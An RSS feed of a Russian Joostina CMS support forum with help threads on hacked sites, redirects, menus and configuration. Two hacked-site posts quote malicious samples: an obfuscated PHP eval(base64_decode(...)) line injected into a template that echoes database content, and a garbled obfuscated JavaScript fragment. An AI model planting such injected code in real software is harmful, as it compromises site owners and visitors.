Общие вопросы http://forum.joostina.ru/categories/joostina-13-questions/feed.rss Mon, 17 Jun 19 09:11:05 -0400 Общие вопросы ru-RU Массовый взлом сайтов на Joostina http://forum.joostina.ru/discussion/371/massovyy-vzlom-saytov-na-joostina Tue, 09 Jul 2013 04:18:53 -0400 zhart 371@/discussions Жаль, что повод нехороший.

У меня осталось немалое количество сайтов на Joostina, которые достаточно статичны и не требуют особого участия и модернизации (обычные контентные сайты). До поры до времени все было хорошо, но вот недавно Яндекс.Вебмастер стал слать сообщения с темой «На сайте обнаружен потенциально опасный код» все для большего числа этих сайтов. Последствия самые неприятные — сайт выпадает из индекса, выводится пометка «Этот сайт может угрожать безопасности вашего компьютера» и т.п.

Причем заражению одинаково подвержены как сайты на Joostina 1.1.3, так и на 1.3.0.5.
Пытаюсь сам найти дыру, через которую на сайт проникает зараза, но пока безуспешно. Анализ исходного кода страниц не показывает никакого постороннего кода, подключаемые JS-скрипты тоже неизменны.
Тем не менее Яндекс ругается, значит какая-то кака все же присутствует. Помогает восстановление сайта из бекапа, но ненадолго — сначала Яндекс подтверждает, что на сайте уже нет вредоносного кода, но через какое-то время сайт снова заражается.

Такие вот нехорошие дела. Прошу помощи.

P.S.: В принципе, вопрос можно было решить массовой миграцией на Joomla 1.5 и затем на 2.5. Но, во-первых, это связано с очень большими трудозатратами (не всегда оправданными). И во-вторых (что еще важнее), это практически невозможно сделать с сохранением URL-ов, менять которые мне категорически не хочется в силу ряда причин.

P.P.S.: Уже много лет работаю исключительно в Linux, так что любые трояны/вирусы на моем локальном компьютере практически исключены.]]>
Мне взломали один из сайтов на Joostina 1.3 http://forum.joostina.ru/discussion/358/mne-vzlomali-odin-iz-saytov-na-joostina-1.3 Fri, 19 Oct 2012 22:16:56 -0400 Maiwend 358@/discussions Может быть хостер подскажет.

Обнаружилось, когда страницы биржам статей стали передавать ошибку 500. Я был в отъезде как раз.
Через логи нашлась ошибка в файле темплейта.

Ошибку давало следующее постороннее включение:

<?php eval(base64_decode("JGRiPSYgSkZhY3Rvcnk6OmdldERCTygpOyRxPSdTRUxFQ1QgYGNvbnRleHRgIEZST00gYGpvc19jb250ZXh0YCBMSU1JVCAxJzskZGItPnNldFF1ZXJ5KCRxKTskZGF0YV9yb3cgPSAkZGItPmxvYWRSb3coKTtlY2hvICRkYXRhX3Jvd1swXTs="));?>
]]>
Не могу поменять название сайта (Joostina 1.3.0.4) http://forum.joostina.ru/discussion/366/ne-mogu-pomenyat-nazvanie-sayta-joostina-1.3.0.4 Fri, 15 Feb 2013 17:43:44 -0500 angik 366@/discussions Нужна помощь по редиректу http://forum.joostina.ru/discussion/330/nuzhna-pomosch-po-redirektu Fri, 06 Apr 2012 06:53:10 -0400 colors 330@/discussions Перенес сайт с joomla 1.5 too joostina 1.3
ссылки в joomla такие:
index.php?option=com_content&view=article&id=3&Itemid=2

установил easysef, в joostina адрес получаем такой: /razdel/item01.html

если в .htaccess пишу:
Redirect 301 /index.php?option=com_content&view=article&id=3&Itemid=2 http://site.com/razdel/item01.html

вместо адреса razdel/item01.html получаю переход на адрес: http://site.com/?view=article

если убрать из адреса index.php? (т.е. адрес Redirect 301 /option=com_content....) то редирект работает.

Т.е. joostina видя /index.php? пытается что-то искать у себя. Как можно поставить редирект с таких адресов? Может где-то в php можно жестко вписать этот редирект, адресов немного, реально каждый руками завести]]>
Letterman и Joostina 1.3.x http://forum.joostina.ru/discussion/353/letterman-i-joostina-1.3.x Fri, 22 Jun 2012 03:49:55 -0400 YuraGamer 353@/discussions Здесь. Правда на хостингах ошибок не вызывало, в отличие от DENWER.
Так для удобства на локалке.
Также буду изучать возможность совмещения со старшей версией 1.4]]>
Версия для печати http://forum.joostina.ru/discussion/344/versiya-dlya-pechati Mon, 21 May 2012 07:31:15 -0400 colors 344@/discussions Многоуровневое меню в Главном меню Joostina 1.3.0.5 http://forum.joostina.ru/discussion/335/mnogourovnevoe-menyu-v-glavnom-menyu-joostina-1.3.0.5 Wed, 18 Apr 2012 17:30:45 -0400 genya 335@/discussions Нужно именно в -> Модули [ Сайт ] -> Главное меню (mod_mljoostinamenu)
Отдельно такое меню (новое) конечно, можно создать в "Меню", но нет нужды.
Необходимо дополнить таким уже имеющеся главное меню, но не получается никак.

Суть проблемы: в Модуль - Сайт : Редактирование [ Главное меню ]
выбрал "Тип вывода меню" - Вертикальное многоуровневоевое
выбрал "Меню выводится" - Ссылками
и выбрал "Число элементов li в одном ul" - 10

Потом перехожу в "Меню" -> Управление меню [ mainmenu ], и жму "Создать"
И вот здесь начинается проблема))), что нужно выбрать в -> Новый пункт меню, ???
Список очень большой (Содержимое, Разное, Отправка, Компоненты, Ссылки),
т.е. много из чего есть там выбрать, а что именно нужно для такого меню - непонятно.

Выглядеть это в левом меню (гл.стр.) как обычно со всеми остальными ссылками,
(Поиск, Карта сайта, Опросы) но, чтобы сам список раскрывался, это важно. Типа такого:
- Главная
- Глава 1
- Страница 1.1
- Страница 1.2
- .....
- Страница N.N
- Глава 2
- Страница 2.1
- Страница 2.2
- .....
- Страница N.N
- Поиск
- Карта сайта
- Опросы

Надеюсь на подсказку опытных джустиноводов. Важность, "еще вчера")))]]>
Как/где отключить полную перезапись configuration.php http://forum.joostina.ru/discussion/329/kakgde-otklyuchit-polnuyu-perezapis-configuration.php Wed, 04 Apr 2012 14:44:52 -0400 genya 329@/discussions Суть проблемы (joostina-1.3.0.5-stable)
Вношу свои изменения в configuration.php для одновременной работы
джустины и в локалхосте, и на хостинге (все отлично везде работает)

Но, как только начинаю что-либо менять в настройках "Глобальной конфигурации",
то автоматом джустина, полностью перезаписывает configuration.php и удаляет!,
все "мои записи настроек" подчистую (((

Меняю его на сохраненный ранее мной configuration.php - все снова работает.

Вопрос: Нельзя ли (и где/как) запретить полную перезапись configuration.php ?
Либо, чтобы вносились только "новые" записи, не трогая и не удаляя "старые" ?
И чтобы все записи "новые/старые" не меняли свое местоположение в configuration.php ?
(т.е. логин к базе перезаписывается вначале текста, а пароль в конце и т.д.)

]]>
Перенос пользователей http://forum.joostina.ru/discussion/315/perenos-polzovateley Sat, 10 Mar 2012 09:36:28 -0500 colors 315@/discussions Кодировка писем в 1.3.0.5 stable http://forum.joostina.ru/discussion/323/kodirovka-pisem-v-1.3.0.5-stable Tue, 27 Mar 2012 01:30:48 -0400 colors 323@/discussions проверил и на системных сообщениях и тоже в YaForms
В прежних версиях все было ОК]]>
RSS с картинками http://forum.joostina.ru/discussion/300/rss-s-kartinkami Thu, 09 Feb 2012 09:12:40 -0500 vitio 300@/discussions Возможно ли сохранить статьи файлами? http://forum.joostina.ru/discussion/316/vozmozhno-li-sohranit-stati-faylamis Sun, 11 Mar 2012 19:14:17 -0400 basoff 316@/discussions Проблемы при выкладывании 1.3.0.5 на сервер. http://forum.joostina.ru/discussion/313/problemy-pri-vykladyvanii-1.3.0.5-na-server. Fri, 09 Mar 2012 13:35:59 -0500 basoff 313@/discussions https://partner.r01.ru/. После закачки файлов на сервер в настройках, в разделе "Просмотр сайта" появилась страница "Установка Joostina CMS". На ней запись следующего содержания:

Проверка настроек сервера:
Если на сервере имеются настройки, способные привести к ошибкам во время установки или работы Joostina, то на этой странице они будут отмечены красным цветом. Для полноценной и беспроблемной работы системы рекомендуем исправить все необходимые настройки.
Версия PHP >= 5.0.0 Да
- поддержка zlib-сжатия Доступна
- поддержка XML Доступна
- поддержка MySQL Доступна
Файл configuration.php Доступен для записи
Каталог для записи сессий Доступен для записи
/tmp
Проверка безопасности:

Следующие параметры PHP являются неоптимальными для Безопасности и их рекомендуется изменить:

Пожалуйста, за дополнительной информацией обращайтесь на официальный сайт Joostina.

* Параметр PHP magic_quotes_gpc - `OFF` вместо `ON` +++

Рекомендуемые параметры PHP:
Эти параметры PHP рекомендуются для полной совместимости с Joostina.
Однако, Joostina будет работать, если эти параметры не в полной мере соответствуют рекомендуемым.
Директива Рекомендовано Установлено
Safe Mode OFF OFF
Display Errors ON OFF +++
File Uploads ON ON
Magic Quotes GPC ON OFF +++
Magic Quotes Runtime OFF OFF
Register Globals OFF OFF
Output Buffering OFF OFF
Session auto start OFF OFF
PCRE UTF-8 ON ON
mbstring установлено установлено
iconv установлено установлено
Помощь в установке:
Бывает так, что при установке Joostina возникают разного рода ошибки. Ошибки бывают как системные - например красные пункты выше и ниже этого текста, так и человеческие - отсутствие опыта или просто лень. Ссылки ниже могут помочь справиться с любыми возникшими пробелами.

* Официльный сайт проекта Joostina
* Форум поддержки Joostina 1.3.*
* Поддержка на дружественном Joomla - форуме
* Служба поддержки вашего хостера

Расширенные характеристики сервера
Указанные параметры сервера не являются критичными для работы, но соответствие указанным значениям придадут работе с Joostina максимальное удобство и безопасность.
Директива Рекомендовано Установлено
allow_url_fopen OFF ON
short_open_tag OFF ON
post_max_size 8M 8M
upload_max_filesize 2M 2M
default_socket_timeout (in sec.) 30 60
max_execution_time (in sec.) 30 5
Права доступа к файлам и каталогам:
Для нормальной работы Joostina необходимо, чтобы на определенные файлы и каталоги были установлены права записи. Если вы видите Недоступен для записи для некоторых файлов и каталогов, то необходимо установить на них права доступа, позволяющие перезаписывать их.

То, что отмечено красным на сервере я пометил здесь +++ На что это может влиять?

Хотелось бы чтобы Жюстина заработала лучше Жумлы. Там у меня полный провал. Почти до середины довел создание сайта в Жумла и тут он начисто перестал пускать к управлению. Пороли не работают. Замены и сносы пароля безрезультатны. Не говорит, что не тот пароль, но и к панели не пускает. Пришлось похоронить всю работу вместе с программой. А также и деньги, заплаченные за Артистер. С самого начала что-то не задалось. Ставил Жумлу 2.2 - не встала. 1.7 тоже. Встала без звука 1.5. Но зато потом безвыходный сбой.

Сам я не копенгаген в хитростях кодов, стилей и программирования. Поэтому для посильных работ пользовался Драмвьювером. Но вот понадобилось сделать сайт для нашей правовой общественной организации, чтобы статьи могли добавлять разные люди из разных городов. Те есть через панель администрирования. Для разового случая покупать коммерческую программу больно накладно. Пощупал бесплатные. Жумла - провал. Модекс требует довольно глубокой спец подготовки. Знакомые посоветовали ребят, которые взялись сделать сайт. Те взяли аванс и куда-то провалились. Приходится все таки пытаться как-то сделать самому. Жюстина вроде последний оплот достойный внимания.

Поможете?
]]>
Кеширование рейтинга http://forum.joostina.ru/discussion/204/keshirovanie-reytinga Wed, 19 Oct 2011 03:51:23 -0400 colors 204@/discussions Joostina 1.3 Обнаружил, что при включении кеша и нажатии на рейтинг (звездочки) число голосов кешируется и не обновляется до очистки кеша контента.
Это как-то можно отключить?]]>
Название и заголовок http://forum.joostina.ru/discussion/304/nazvanie-i-zagolovok Wed, 15 Feb 2012 22:01:41 -0500 GoDr 304@/discussions Где изменить длину логина в Joostina? http://forum.joostina.ru/discussion/303/gde-izmenit-dlinu-logina-v-joostinas Tue, 14 Feb 2012 02:47:14 -0500 colors 303@/discussions Подскажите, где можно изменить ограничение длины логина пользователя при регистрации?
Joostina 1.3.0.4
Обрезает до 13 символов, поле в бд: username varchar(32),
в components/com_users/users.class.php
$username = $this->username;
if(strlen($username) > 25) {
$this->username = substr($username,0,25);
}
почему именно 13 символов?]]>
Сайт и кабинет http://forum.joostina.ru/discussion/301/sayt-i-kabinet Sat, 11 Feb 2012 13:46:48 -0500 etiketki 301@/discussions Необходимо сделать каталог товаров (тут проблем нет) с возможностью покупки (просто кнопка), после которой товар дублируется в личном кабинете. С возможность предложить свою цену (пойдет просто сообщение на почту).
Чувствую, что все это можно сделать на Боссе. Но пока недопонимаю, как.

Товар можно не дублировать, а просто показывать в кабинете, только тогда как определять конкретного пользователя?
Вроде понятно написал, заранее спасибо за помощь.]]>
попасть в админку http://forum.joostina.ru/discussion/297/popast-v-adminku Tue, 31 Jan 2012 14:22:16 -0500 ppp_12 297@/discussions Личный кабинет, на чем делать? http://forum.joostina.ru/discussion/291/lichnyy-kabinet-na-chem-delats Thu, 26 Jan 2012 10:43:03 -0500 mosgaz 291@/discussions Функционал: ввод показаний счетчиков, просмотр статистики водо- и энергопотребления, личные сообщения, возможность получить счет на оплату (платежку), возможность редактирования данных о проживающих в квартире жильцах, заказ выписок из паспортного стола и прочих справок.

Community Builder? - никогда не использовал. Может он?
Я понимаю, что готового решения нет. Посоветуйте, пожалуйста, компонент от которого можно отталкиваться при решении вышеописанной задачи. ]]>
Взломали сайт на joostine, восстановление не помогло. http://forum.joostina.ru/discussion/290/vzlomali-sayt-na-joostine-vosstanovlenie-ne-pomoglo. Wed, 25 Jan 2012 06:02:16 -0500 Vitaliz 290@/discussions На главной странице модальное окно с текстом "Press OK to enter site."
Код страницы
var _0xdd82=;if (confirm('Press OK to enter site.')){ document]=_0xdd82;document]=document];}
Востановление файлов и sql-базы не помогло. Тексты joostinы восстановил с локальной копии. В Сети такой же код проскакивал относительно wordpressa, но те рекомендации явно не подходят. Подскажите, где копать?
PS: Писал на Joomlaforum, хотел попасть в раздел joostina, попал в общий раздел/безопасность. Решил продублировать сюда. ]]>
Интернет магазин, на чем делать? http://forum.joostina.ru/discussion/266/%D0%98nternet-magazin-na-chem-delats- Mon, 19 Dec 2011 00:19:22 -0500 Dolphin 266@/discussions Кому нужна Джустина 1.3? http://forum.joostina.ru/discussion/175/komu-nuzhna-dzhustina-1.3s Wed, 12 Oct 2011 23:10:25 -0400 GoDr 175@/discussions
Я в ближайшее время точно не кидаю её ;)]]>
ссылки во все страницы/ весь конент сайта http://forum.joostina.ru/discussion/268/ssylki-vo-vse-stranicy-ves-konent-sayta Tue, 20 Dec 2011 15:50:31 -0500 maker 268@/discussions
То есть, нужно сделать именно в самих статьях, а не снизу или слева или сверху, не в самом шаблоне, а именно в коненте сайта.

Редактировать вручную все статьи (их у меня чуть больше 1000) совсем как-то не хочется :)

Может кто подскажет, как реализовать это?
---------
З.Ы. Прошу прощения за такой бестолковый заголовок темы.... не знаю как кратко это охарактеризовать :)]]>
Меню на jquery http://forum.joostina.ru/discussion/259/menyu-na-jquery Mon, 05 Dec 2011 11:58:29 -0500 trotom 259@/discussions http://www.alexilin.ru/animated-menu-on-mootools/
Это на Mootools, но у нас по идее jqyery?

Что пока нашёл
куча меню под j1.5
http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/accordion-menus

и меню для joostina вроде есть, но что-то он не заработал.
http://forum.joostina.ru/discussion/11/drevovidnyy-vyvod-kategoriysoderzhimogo

По идее всего-то надо взять mod_boss_category и правильно подключить правильную библиотеку )]]>
Пользовательский поиск от Яндекс и Джустина http://forum.joostina.ru/discussion/247/polzovatelskiy-poisk-ot-yandeks-i-dzhustina Mon, 21 Nov 2011 13:06:26 -0500 Essence 247@/discussions Кэш в модулях http://forum.joostina.ru/discussion/253/kesh-v-modulyah Wed, 30 Nov 2011 11:41:16 -0500 GoDr 253@/discussions установка мамбота http://forum.joostina.ru/discussion/244/ustanovka-mambota Sun, 20 Nov 2011 02:22:56 -0500 les100 244@/discussions а если просто скопировать содержимое в mambots/system - где еще чего прописать надо?]]> Joostina+Vanillaforum http://forum.joostina.ru/discussion/172/joostina-vanillaforum Mon, 03 Oct 2011 10:17:41 -0400 Vladzimir 172@/discussions
Теперь о самой интеграции. Идея почерпнута от сюда http://anton.shevchuk.name/php/embed-migration-integration-vanilla/. Но как вы уже поняли, это все оказалось не таким легким как описано в данной статье.
Для интеграции Ваниллы и Джустины нам понадобиться Ванилла (но не менее чем 2.0.17.10) + (ProxyConnect брать здесь http://vanillaforums.org/addon/proxyconnect-plugin).

Пока все вскоре дополню статью.]]>
Релиз Joostina 1.3 http://forum.joostina.ru/discussion/169/reliz-joostina-1.3 Thu, 29 Sep 2011 15:29:12 -0400 abasia 169@/discussions Разблокировка содержимого http://forum.joostina.ru/discussion/218/razblokirovka-soderzhimogo Mon, 31 Oct 2011 10:51:21 -0400 maker 218@/discussions Совсем непонятно, каким образом блокируется содержимое. Как будто живет своей жизнью. Сегодня определенная статья/категория и т.п. разблокирована и отображается нормально и доступна для редактирования. А уже завтра они автоматом блокируются и разблокировать содержимое или статью или категорию или ссылку или компонент для их редактирования не представляется возможным. Чего только не пробовал... даже отключил блокировку содержимого в конфигурационном файле и все к одному...

прошу помощи, может кто с этим сталкивался.]]>